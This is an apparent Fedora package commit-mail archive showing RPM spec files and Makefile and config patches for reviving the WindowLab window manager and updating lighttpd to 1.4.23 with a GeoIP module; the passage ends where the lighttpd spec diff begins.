 1 file changed, 2 insertions(+), 2 deletions(-)

Index: windowlab-1.34-pathfixes.patch
===================================================================
RCS file: windowlab-1.34-pathfixes.patch
diff -N windowlab-1.34-pathfixes.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ windowlab-1.34-pathfixes.patch	6 Oct 2009 19:07:50 -0000	1.3
@@ -0,0 +1,21 @@
+diff -u windowlab-1.34.old/Makefile windowlab-1.34/Makefile
+--- windowlab-1.34.old/Makefile	2007-04-11 09:32:40.000000000 +1200
++++ windowlab-1.34/Makefile	2007-04-11 09:37:42.000000000 +1200
+@@ -8,7 +8,7 @@
+ PREFIX =
+ 
+ # Set this to the location of the X installation you want to compile against
+-XROOT = /usr/X11R6
++XROOT = /usr
+ 
+ # Set this to the location of the global configuration files
+ SYSCONFDIR = $(PREFIX)/etc/X11/windowlab
+@@ -40,7 +40,7 @@
+ endif
+ 
+ BINDIR = $(DESTDIR)$(PREFIX)$(XROOT)/bin
+-MANDIR = $(DESTDIR)$(PREFIX)$(XROOT)/man/man1
++MANDIR = $(DESTDIR)$(PREFIX)$(XROOT)/share/man/man1
+ CFGDIR = $(DESTDIR)$(SYSCONFDIR)
+ INCLUDES = -I$(XROOT)/include $(EXTRA_INC)
+ LDPATH = -L$(XROOT)/lib

windowlab-1.37-nostrip.patch:
 Makefile |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE windowlab-1.37-nostrip.patch ---
diff -up windowlab-1.37/Makefile.nostrip windowlab-1.37/Makefile
--- windowlab-1.37/Makefile.nostrip	2009-10-06 14:54:18.715418110 -0400
+++ windowlab-1.37/Makefile	2009-10-06 14:54:52.434312963 -0400
@@ -61,7 +61,7 @@ $(OBJS): %.o: %.c $(HEADERS)
 	$(CC) $(CFLAGS) $(DEFINES) $(INCLUDES) -c $< -o $@
 
 install: all
-	mkdir -p $(BINDIR) && install -m 755 -s $(PROG) $(BINDIR)
+	mkdir -p $(BINDIR) && install -m 755 $(PROG) $(BINDIR)
 	mkdir -p $(MANDIR) && install -m 644 $(MANPAGE) $(MANDIR) && gzip -9vfn $(MANDIR)/$(MANPAGE)
 	mkdir -p $(CFGDIR) && cp -i windowlab.menurc $(CFGDIR)/windowlab.menurc && chmod 644 $(CFGDIR)/windowlab.menurc
 	mkdir -p $(XSESSDIR) && install -m 644 $(XSESSFILE) $(XSESSDIR)

windowlab-1.37-xsessions.patch:
 Makefile |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE windowlab-1.37-xsessions.patch ---
diff -up windowlab-1.37/Makefile.xsessions windowlab-1.37/Makefile
--- windowlab-1.37/Makefile.xsessions	2009-10-06 14:57:32.318292710 -0400
+++ windowlab-1.37/Makefile	2009-10-06 14:57:59.255300192 -0400
@@ -42,12 +42,14 @@ endif
 BINDIR = $(DESTDIR)$(PREFIX)$(XROOT)/bin
 MANDIR = $(DESTDIR)$(PREFIX)$(XROOT)/share/man/man1
 CFGDIR = $(DESTDIR)$(SYSCONFDIR)
+XSESSDIR = $(DESTDIR)$(PREFIX)$(XROOT)/share/xsessions
 INCLUDES = -I$(XROOT)/include $(EXTRA_INC)
 LDPATH = -L$(XROOT)/lib
 LIBS = -lX11 $(EXTRA_LIBS)
 
 PROG = windowlab
 MANPAGE = windowlab.1x
+XSESSFILE = windowlab.desktop
 OBJS = main.o events.o client.o new.o manage.o misc.o taskbar.o menufile.o
 HEADERS = windowlab.h
 
@@ -63,6 +65,7 @@ install: all
 	mkdir -p $(BINDIR) && install -m 755 -s $(PROG) $(BINDIR)
 	mkdir -p $(MANDIR) && install -m 644 $(MANPAGE) $(MANDIR) && gzip -9vfn $(MANDIR)/$(MANPAGE)
 	mkdir -p $(CFGDIR) && cp -i windowlab.menurc $(CFGDIR)/windowlab.menurc && chmod 644 $(CFGDIR)/windowlab.menurc
+	mkdir -p $(XSESSDIR) && install -m 644 $(XSESSFILE) $(XSESSDIR)
 
 clean:
 	rm -f $(PROG) $(OBJS)


Index: windowlab.desktop
===================================================================
RCS file: windowlab.desktop
diff -N windowlab.desktop
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ windowlab.desktop	6 Oct 2009 19:07:50 -0000	1.3
@@ -0,0 +1,6 @@
+[Desktop Entry]
+Encoding=UTF-8
+Name=WindowLab
+Comment=This session logs you into WindowLab
+Exec=/usr/bin/windowlab
+


Index: windowlab.spec
===================================================================
RCS file: windowlab.spec
diff -N windowlab.spec
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ windowlab.spec	6 Oct 2009 19:07:50 -0000	1.4
@@ -0,0 +1,79 @@
+Name:           windowlab
+Version:        1.37
+Release:        1%{?dist}
+Summary:        Small and Simple Amiga-like Window Manager
+
+Group:          User Interface/Desktops
+License:        GPL+
+URL:            http://nickgravgaard.com/windowlab/
+Source0:        http://nickgravgaard.com/windowlab/windowlab-%{version}.tar
+Source1:        windowlab.desktop
+Patch0:         windowlab-1.34-pathfixes.patch
+Patch1:         windowlab-1.37-xsessions.patch
+Patch2:         windowlab-1.37-nostrip.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+BuildRequires:  libX11-devel libXext-devel
+
+%description
+WindowLab is a Window Manager for the X Window System. Features include
+click-to-focus and a simple menu/taskbar combination. WindowLab is 
+incredibly fast and small.
+
+%prep
+%setup -q 
+cp %{SOURCE1} .
+chmod a-x README TODO LICENCE CHANGELOG *.c *.h
+
+for i in CHANGELOG README; do
+  iconv -f iso-8859-1 -t utf-8 -o $i{.utf8,}
+  mv $i{.utf8,}
+done
+
+%patch0 -p1 -b .pathfixes
+%patch1 -p1 -b .xsessions
+%patch2 -p1 -b .nostrip
+
+%build
+CFLAGS=$RPM_OPT_FLAGS make %{?_smp_mflags}
+
+
+%install
+rm -rf $RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT
+
+
+%clean
+rm -rf $RPM_BUILD_ROOT
+
+
+%files
+%defattr(-,root,root,-)
+%doc CHANGELOG README TODO LICENCE
+%dir %{_sysconfdir}/X11/windowlab/
+%config(noreplace) %{_sysconfdir}/X11/windowlab/windowlab.menurc
+%{_bindir}/windowlab
+%{_mandir}/man1/windowlab.1x.gz
+%{_datadir}/xsessions/windowlab.desktop
+
+%changelog
+* Tue Oct  6 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.37-1
+- licensing problems are resolved
+- updating to 1.37
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.34-5
+- Autorebuild for GCC 4.3
+
+* Tue Apr 24 2007 Nigel Jones <dev at nigelj.com> 1.34-4
+- Remove executable bit on source files
+
+* Wed Apr 18 2007 Nigel Jones <dev at nigelj.com> 1.34-3
+- Honor $RPM_OPT_FLAGS
+- +Patch to prevent stripping of debug info
+
+* Wed Apr 11 2007 Nigel Jones <dev at nigelj.com> 1.34-2
+- Minor changes to windowlab-1.34-pathfixes.patch
+- Replace files section
+
+* Tue Apr 10 2007 Nigel Jones <dev at nigelj.com> 1.34-1
+- Initial SPEC file


--- dead.package DELETED ---



From spot at fedoraproject.org  Tue Oct  6 19:07:55 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 19:07:55 +0000 (UTC)
Subject: rpms/windowlab/devel sources, 1.3,
	1.4 windowlab-1.34-pathfixes.patch, 
	1.2, 1.3 windowlab-1.37-nostrip.patch, NONE,
	1.1 windowlab-1.37-xsessions.patch, NONE, 1.1 windowlab.desktop,
	1.2, 1.3 windowlab.spec, 1.3, 1.4 .cvsignore, 1.2,
	1.3 dead.package, 1.2, NONE
Message-ID: <20091006190755.8D50711C00C1@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/windowlab/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17281/devel

Modified Files:
	.cvsignore 
Added Files:
	sources windowlab-1.34-pathfixes.patch 
	windowlab-1.37-nostrip.patch windowlab-1.37-xsessions.patch 
	windowlab.desktop windowlab.spec 
Removed Files:
	dead.package 
Log Message:
revive


Index: sources
===================================================================
RCS file: sources
diff -N sources
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sources	6 Oct 2009 19:07:51 -0000	1.4
@@ -0,0 +1 @@
+77e1552de99146a29ff405f2fdae47e4  windowlab-1.37.tar

windowlab-1.34-pathfixes.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: windowlab-1.34-pathfixes.patch
===================================================================
RCS file: windowlab-1.34-pathfixes.patch
diff -N windowlab-1.34-pathfixes.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ windowlab-1.34-pathfixes.patch	6 Oct 2009 19:07:51 -0000	1.3
@@ -0,0 +1,21 @@
+diff -u windowlab-1.34.old/Makefile windowlab-1.34/Makefile
+--- windowlab-1.34.old/Makefile	2007-04-11 09:32:40.000000000 +1200
++++ windowlab-1.34/Makefile	2007-04-11 09:37:42.000000000 +1200
+@@ -8,7 +8,7 @@
+ PREFIX =
+ 
+ # Set this to the location of the X installation you want to compile against
+-XROOT = /usr/X11R6
++XROOT = /usr
+ 
+ # Set this to the location of the global configuration files
+ SYSCONFDIR = $(PREFIX)/etc/X11/windowlab
+@@ -40,7 +40,7 @@
+ endif
+ 
+ BINDIR = $(DESTDIR)$(PREFIX)$(XROOT)/bin
+-MANDIR = $(DESTDIR)$(PREFIX)$(XROOT)/man/man1
++MANDIR = $(DESTDIR)$(PREFIX)$(XROOT)/share/man/man1
+ CFGDIR = $(DESTDIR)$(SYSCONFDIR)
+ INCLUDES = -I$(XROOT)/include $(EXTRA_INC)
+ LDPATH = -L$(XROOT)/lib

windowlab-1.37-nostrip.patch:
 Makefile |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE windowlab-1.37-nostrip.patch ---
diff -up windowlab-1.37/Makefile.nostrip windowlab-1.37/Makefile
--- windowlab-1.37/Makefile.nostrip	2009-10-06 14:54:18.715418110 -0400
+++ windowlab-1.37/Makefile	2009-10-06 14:54:52.434312963 -0400
@@ -61,7 +61,7 @@ $(OBJS): %.o: %.c $(HEADERS)
 	$(CC) $(CFLAGS) $(DEFINES) $(INCLUDES) -c $< -o $@
 
 install: all
-	mkdir -p $(BINDIR) && install -m 755 -s $(PROG) $(BINDIR)
+	mkdir -p $(BINDIR) && install -m 755 $(PROG) $(BINDIR)
 	mkdir -p $(MANDIR) && install -m 644 $(MANPAGE) $(MANDIR) && gzip -9vfn $(MANDIR)/$(MANPAGE)
 	mkdir -p $(CFGDIR) && cp -i windowlab.menurc $(CFGDIR)/windowlab.menurc && chmod 644 $(CFGDIR)/windowlab.menurc
 	mkdir -p $(XSESSDIR) && install -m 644 $(XSESSFILE) $(XSESSDIR)

windowlab-1.37-xsessions.patch:
 Makefile |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE windowlab-1.37-xsessions.patch ---
diff -up windowlab-1.37/Makefile.xsessions windowlab-1.37/Makefile
--- windowlab-1.37/Makefile.xsessions	2009-10-06 14:57:32.318292710 -0400
+++ windowlab-1.37/Makefile	2009-10-06 14:57:59.255300192 -0400
@@ -42,12 +42,14 @@ endif
 BINDIR = $(DESTDIR)$(PREFIX)$(XROOT)/bin
 MANDIR = $(DESTDIR)$(PREFIX)$(XROOT)/share/man/man1
 CFGDIR = $(DESTDIR)$(SYSCONFDIR)
+XSESSDIR = $(DESTDIR)$(PREFIX)$(XROOT)/share/xsessions
 INCLUDES = -I$(XROOT)/include $(EXTRA_INC)
 LDPATH = -L$(XROOT)/lib
 LIBS = -lX11 $(EXTRA_LIBS)
 
 PROG = windowlab
 MANPAGE = windowlab.1x
+XSESSFILE = windowlab.desktop
 OBJS = main.o events.o client.o new.o manage.o misc.o taskbar.o menufile.o
 HEADERS = windowlab.h
 
@@ -63,6 +65,7 @@ install: all
 	mkdir -p $(BINDIR) && install -m 755 -s $(PROG) $(BINDIR)
 	mkdir -p $(MANDIR) && install -m 644 $(MANPAGE) $(MANDIR) && gzip -9vfn $(MANDIR)/$(MANPAGE)
 	mkdir -p $(CFGDIR) && cp -i windowlab.menurc $(CFGDIR)/windowlab.menurc && chmod 644 $(CFGDIR)/windowlab.menurc
+	mkdir -p $(XSESSDIR) && install -m 644 $(XSESSFILE) $(XSESSDIR)
 
 clean:
 	rm -f $(PROG) $(OBJS)


Index: windowlab.desktop
===================================================================
RCS file: windowlab.desktop
diff -N windowlab.desktop
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ windowlab.desktop	6 Oct 2009 19:07:52 -0000	1.3
@@ -0,0 +1,6 @@
+[Desktop Entry]
+Encoding=UTF-8
+Name=WindowLab
+Comment=This session logs you into WindowLab
+Exec=/usr/bin/windowlab
+


Index: windowlab.spec
===================================================================
RCS file: windowlab.spec
diff -N windowlab.spec
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ windowlab.spec	6 Oct 2009 19:07:52 -0000	1.4
@@ -0,0 +1,79 @@
+Name:           windowlab
+Version:        1.37
+Release:        1%{?dist}
+Summary:        Small and Simple Amiga-like Window Manager
+
+Group:          User Interface/Desktops
+License:        GPL+
+URL:            http://nickgravgaard.com/windowlab/
+Source0:        http://nickgravgaard.com/windowlab/windowlab-%{version}.tar
+Source1:        windowlab.desktop
+Patch0:         windowlab-1.34-pathfixes.patch
+Patch1:         windowlab-1.37-xsessions.patch
+Patch2:         windowlab-1.37-nostrip.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+BuildRequires:  libX11-devel libXext-devel
+
+%description
+WindowLab is a Window Manager for the X Window System. Features include
+click-to-focus and a simple menu/taskbar combination. WindowLab is 
+incredibly fast and small.
+
+%prep
+%setup -q 
+cp %{SOURCE1} .
+chmod a-x README TODO LICENCE CHANGELOG *.c *.h
+
+for i in CHANGELOG README; do
+  iconv -f iso-8859-1 -t utf-8 -o $i{.utf8,}
+  mv $i{.utf8,}
+done
+
+%patch0 -p1 -b .pathfixes
+%patch1 -p1 -b .xsessions
+%patch2 -p1 -b .nostrip
+
+%build
+CFLAGS=$RPM_OPT_FLAGS make %{?_smp_mflags}
+
+
+%install
+rm -rf $RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT
+
+
+%clean
+rm -rf $RPM_BUILD_ROOT
+
+
+%files
+%defattr(-,root,root,-)
+%doc CHANGELOG README TODO LICENCE
+%dir %{_sysconfdir}/X11/windowlab/
+%config(noreplace) %{_sysconfdir}/X11/windowlab/windowlab.menurc
+%{_bindir}/windowlab
+%{_mandir}/man1/windowlab.1x.gz
+%{_datadir}/xsessions/windowlab.desktop
+
+%changelog
+* Tue Oct  6 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.37-1
+- licensing problems are resolved
+- updating to 1.37
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.34-5
+- Autorebuild for GCC 4.3
+
+* Tue Apr 24 2007 Nigel Jones <dev at nigelj.com> 1.34-4
+- Remove executable bit on source files
+
+* Wed Apr 18 2007 Nigel Jones <dev at nigelj.com> 1.34-3
+- Honor $RPM_OPT_FLAGS
+- +Patch to prevent stripping of debug info
+
+* Wed Apr 11 2007 Nigel Jones <dev at nigelj.com> 1.34-2
+- Minor changes to windowlab-1.34-pathfixes.patch
+- Replace files section
+
+* Tue Apr 10 2007 Nigel Jones <dev at nigelj.com> 1.34-1
+- Initial SPEC file


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/windowlab/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Apr 2007 05:06:12 -0000	1.2
+++ .cvsignore	6 Oct 2009 19:07:51 -0000	1.3
@@ -1 +1,2 @@
 windowlab-1.34.tar
+windowlab-1.37.tar


--- dead.package DELETED ---



From thias at fedoraproject.org  Tue Oct  6 19:10:31 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:10:31 +0000 (UTC)
Subject: rpms/lighttpd/EL-4 lighttpd-1.4.23-defaultconf.patch, NONE,
	1.1 lighttpd-1.4.23-mod_geoip.patch, NONE, 1.1 .cvsignore, 1.10,
	1.11 lighttpd-mod_geoip.c, 1.1, 1.2 lighttpd.spec, 1.14,
	1.15 sources, 1.10, 1.11 lighttpd-1.4.18-mod_geoip.patch, 1.1,
	NONE lighttpd-1.4.20-defaultconf.patch, 1.1,
	NONE lighttpd-1.4.20-initinfo.patch, 1.1, NONE
Message-ID: <20091006191031.5D2A611C02A2@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18688/EL-4

Modified Files:
	.cvsignore lighttpd-mod_geoip.c lighttpd.spec sources 
Added Files:
	lighttpd-1.4.23-defaultconf.patch 
	lighttpd-1.4.23-mod_geoip.patch 
Removed Files:
	lighttpd-1.4.18-mod_geoip.patch 
	lighttpd-1.4.20-defaultconf.patch 
	lighttpd-1.4.20-initinfo.patch 
Log Message:
Update all current branches to the latest 1.4.23.


lighttpd-1.4.23-defaultconf.patch:
 lighttpd.conf |   15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-defaultconf.patch ---
diff -Naupr lighttpd-1.4.23.orig/doc/lighttpd.conf lighttpd-1.4.23/doc/lighttpd.conf
--- lighttpd-1.4.23.orig/doc/lighttpd.conf	2009-04-09 22:02:00.000000000 +0200
+++ lighttpd-1.4.23/doc/lighttpd.conf	2009-09-03 22:41:33.139052014 +0200
@@ -36,7 +36,7 @@ server.modules              = (
 
 ## A static document-root. For virtual hosting take a look at the
 ## mod_simple_vhost module.
-server.document-root        = "/srv/www/htdocs/"
+server.document-root        = "/var/www/lighttpd/"
 
 ## where to send error-messages to
 server.errorlog             = "/var/log/lighttpd/error.log"
@@ -50,6 +50,7 @@ index-file.names            = ( "index.p
 
 # mimetype mapping
 mimetype.assign             = (
+  ".rpm"          =>      "application/x-rpm",
   ".pdf"          =>      "application/pdf",
   ".sig"          =>      "application/pgp-signature",
   ".spl"          =>      "application/futuresplash",
@@ -147,7 +148,7 @@ static-file.exclude-extensions = ( ".php
 #server.error-handler-404   = "/error-handler.php"
 
 ## to help the rc.scripts
-#server.pid-file            = "/var/run/lighttpd.pid"
+server.pid-file            = "/var/run/lighttpd.pid"
 
 
 ###### virtual hosts
@@ -188,10 +189,10 @@ static-file.exclude-extensions = ( ".php
 #server.chroot              = "/"
 
 ## change uid to <uid> (default: don't care)
-#server.username            = "wwwrun"
+server.username            = "lighttpd"
 
 ## change uid to <uid> (default: don't care)
-#server.groupname           = "wwwrun"
+server.groupname           = "lighttpd"
 
 #### compress module
 #compress.cache-dir         = "/var/cache/lighttpd/compress/"
@@ -215,7 +216,7 @@ static-file.exclude-extensions = ( ".php
 #                               ( "localhost" =>
 #                                 (
 #                                   "socket" => "/var/run/lighttpd/php-fastcgi.socket",
-#                                   "bin-path" => "/usr/local/bin/php-cgi"
+#                                   "bin-path" => "/usr/bin/php-cgi"
 #                                 )
 #                               )
 #                            )
@@ -320,3 +321,7 @@ static-file.exclude-extensions = ( ".php
 #include_shell "echo var.a=1"
 ## the above is same as:
 #var.a=1
+
+## include configuration snippets, usually provided by packages
+include_shell "find /etc/lighttpd/conf.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+

lighttpd-1.4.23-mod_geoip.patch:
 configure       |    2 +-
 configure.ac    |    2 +-
 src/Makefile.am |    5 +++++
 src/Makefile.in |   20 +++++++++++++++++---
 4 files changed, 24 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-mod_geoip.patch ---
diff -Naupr lighttpd-1.4.23.orig/configure lighttpd-1.4.23/configure
--- lighttpd-1.4.23.orig/configure	2009-06-07 21:26:07.000000000 +0200
+++ lighttpd-1.4.23/configure	2009-09-03 22:59:34.696051769 +0200
@@ -23235,7 +23235,7 @@ fi
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/configure.ac lighttpd-1.4.23/configure.ac
--- lighttpd-1.4.23.orig/configure.ac	2009-06-07 21:13:05.000000000 +0200
+++ lighttpd-1.4.23/configure.ac	2009-09-03 22:59:22.781056867 +0200
@@ -571,7 +571,7 @@ AC_OUTPUT
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.am lighttpd-1.4.23/src/Makefile.am
--- lighttpd-1.4.23.orig/src/Makefile.am	2009-06-16 15:45:42.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.am	2009-09-03 22:46:47.527052167 +0200
@@ -264,6 +264,11 @@ mod_accesslog_la_SOURCES = mod_accesslog
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
 
+lib_LTLIBRARIES += mod_geoip.la
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
+
 
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.in lighttpd-1.4.23/src/Makefile.in
--- lighttpd-1.4.23.orig/src/Makefile.in	2009-06-19 21:19:22.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.in	2009-09-03 23:02:32.905052466 +0200
@@ -124,6 +124,12 @@ mod_accesslog_la_OBJECTS = $(am_mod_acce
 mod_accesslog_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
 	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
 	$(mod_accesslog_la_LDFLAGS) $(LDFLAGS) -o $@
+mod_geoip_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
+am_mod_geoip_la_OBJECTS = mod_geoip.lo
+mod_geoip_la_OBJECTS = $(am_mod_geoip_la_OBJECTS)
+mod_geoip_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
+	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(mod_geoip_la_LDFLAGS) $(LDFLAGS) -o $@
 mod_alias_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
 am_mod_alias_la_OBJECTS = mod_alias.lo
 mod_alias_la_OBJECTS = $(am_mod_alias_la_OBJECTS)
@@ -406,7 +412,8 @@ SOURCES = $(liblightcomp_la_SOURCES) $(m
 	$(mod_status_la_SOURCES) $(mod_trigger_b4_dl_la_SOURCES) \
 	$(mod_userdir_la_SOURCES) $(mod_usertrack_la_SOURCES) \
 	$(mod_webdav_la_SOURCES) $(lemon_SOURCES) $(lighttpd_SOURCES) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 DIST_SOURCES = $(am__liblightcomp_la_SOURCES_DIST) \
 	$(mod_access_la_SOURCES) $(mod_accesslog_la_SOURCES) \
 	$(mod_alias_la_SOURCES) $(mod_auth_la_SOURCES) \
@@ -425,7 +432,8 @@ DIST_SOURCES = $(am__liblightcomp_la_SOU
 	$(mod_trigger_b4_dl_la_SOURCES) $(mod_userdir_la_SOURCES) \
 	$(mod_usertrack_la_SOURCES) $(mod_webdav_la_SOURCES) \
 	$(lemon_SOURCES) $(am__lighttpd_SOURCES_DIST) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 HEADERS = $(noinst_HEADERS)
 ETAGS = etags
 CTAGS = ctags
@@ -612,7 +620,7 @@ lib_LTLIBRARIES = $(am__append_1) mod_fl
 	mod_ssi.la mod_secdownload.la mod_expire.la mod_evhost.la \
 	mod_simple_vhost.la mod_fastcgi.la mod_extforward.la \
 	mod_access.la mod_compress.la mod_auth.la mod_rewrite.la \
-	mod_redirect.la mod_status.la mod_accesslog.la
+	mod_redirect.la mod_status.la mod_accesslog.la mod_geoip.la
 @NO_RDYNAMIC_TRUE at liblightcomp_la_SOURCES = $(common_src)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_CFLAGS = $(AM_CFLAGS)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_LDFLAGS = -avoid-version -no-undefined
@@ -719,6 +727,9 @@ mod_status_la_LIBADD = $(common_libadd)
 mod_accesslog_la_SOURCES = mod_accesslog.c
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
       settings.h http_chunk.h http_auth_digest.h \
@@ -822,6 +833,8 @@ mod_access.la: $(mod_access_la_OBJECTS) 
 	$(mod_access_la_LINK) -rpath $(libdir) $(mod_access_la_OBJECTS) $(mod_access_la_LIBADD) $(LIBS)
 mod_accesslog.la: $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_DEPENDENCIES) 
 	$(mod_accesslog_la_LINK) -rpath $(libdir) $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_LIBADD) $(LIBS)
+mod_geoip.la: $(mod_geoip_la_OBJECTS) $(mod_geoip_la_DEPENDENCIES) 
+	$(mod_geoip_la_LINK) -rpath $(libdir) $(mod_geoip_la_OBJECTS) $(mod_geoip_la_LIBADD) $(LIBS)
 mod_alias.la: $(mod_alias_la_OBJECTS) $(mod_alias_la_DEPENDENCIES) 
 	$(mod_alias_la_LINK) -rpath $(libdir) $(mod_alias_la_OBJECTS) $(mod_alias_la_LIBADD) $(LIBS)
 mod_auth.la: $(mod_auth_la_OBJECTS) $(mod_auth_la_DEPENDENCIES) 
@@ -1012,6 +1025,7 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/md5.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_access.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_accesslog.Plo at am__quote@
+ at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_geoip.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_alias.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_auth.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_cgi.Plo at am__quote@


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-4/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	4 Apr 2009 11:21:37 -0000	1.10
+++ .cvsignore	6 Oct 2009 19:10:30 -0000	1.11
@@ -1 +1 @@
-lighttpd-1.4.22.tar.bz2
+lighttpd-1.4.23.tar.bz2


Index: lighttpd-mod_geoip.c
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-4/lighttpd-mod_geoip.c,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lighttpd-mod_geoip.c	4 Mar 2008 11:08:03 -0000	1.1
+++ lighttpd-mod_geoip.c	6 Oct 2009 19:10:31 -0000	1.2
@@ -83,7 +83,7 @@ INIT_FUNC(mod_geoip_init) {
 	return p;
 }
 
-/* detroy the plugin data */
+/* destroy the plugin data */
 FREE_FUNC(mod_geoip_free) {
 	plugin_data *p = p_d;
 	
@@ -102,7 +102,7 @@ FREE_FUNC(mod_geoip_free) {
 			buffer_free(s->db_name);
 			
 			/* clean up */
-			GeoIP_delete(s->gi);
+			if (s->gi) GeoIP_delete(s->gi);
 
 			free(s);
 		}


Index: lighttpd.spec
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-4/lighttpd.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- lighttpd.spec	4 Apr 2009 11:21:37 -0000	1.14
+++ lighttpd.spec	6 Oct 2009 19:10:31 -0000	1.15
